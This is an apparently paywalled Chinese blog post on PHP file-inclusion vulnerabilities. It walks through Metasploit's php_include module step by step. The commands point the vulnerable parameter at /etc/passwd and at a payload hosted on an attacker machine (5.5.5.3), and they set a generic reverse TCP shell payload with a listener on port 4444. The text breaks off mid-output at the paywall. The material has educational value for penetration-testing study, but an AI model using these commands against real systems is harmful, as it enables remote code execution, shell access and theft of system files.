PHP文件包含漏洞 Metasploit

最新推荐文章于 2023-12-18 07:43:51 发布

小韩韩啊

最新推荐文章于 2023-12-18 07:43:51 发布

阅读量2.2k

点赞数

分类专栏： web漏洞文章标签： php 安全 web安全

本文链接：https://blog.csdn.net/wuguojiuai/article/details/121299492

版权

web漏洞专栏收录该内容

35 篇文章 4 订阅 ¥99.90 ¥299.90

订阅专栏

超级会员免费看

本文介绍了PHP文件包含漏洞的概念，并通过实例展示了如何使用Metasploit框架生成PHP DOOR，以及如何利用/LFI.php接口连接到远程服务器，从而获取Shell控制。

摘要由CSDN通过智能技术生成

原理： METASPLOIT生成PHP 或者PYTHON的DOOR EG： http://5.5.5.3:1111/1.txt
然后/lfi.php?file=http://5.5.5.3:1111/1.txt

启动METASPLOIT

msf > use exploit/unix/webapp/php_include 
msf  exploit(php_include) > set RHOST 5.5.5.2
RHOST => 5.5.5.2
msf  exploit(php_include) > set PATH /
PATH => /
msf  exploit(php_include) > set PHPURI lif.php?file=/etc/passwd
PHPURI => lif.php?file=/etc/passwd
msf  exploit(php_include) > set URIPATH /1.txt
URIPATH => /1.txt
msf  exploit(php_include) > set PAYLOAD generic/shell_reverse_tcp 
PAYLOAD => generic/shell_reverse_tcp
msf  exploit(php_include) > exploit 

[*] Started reverse handler on 5.5.5.3:4444 
[*] Using URL: http://5.5.5.3:1111/1.txt
[*] PHP include ser

了解本专栏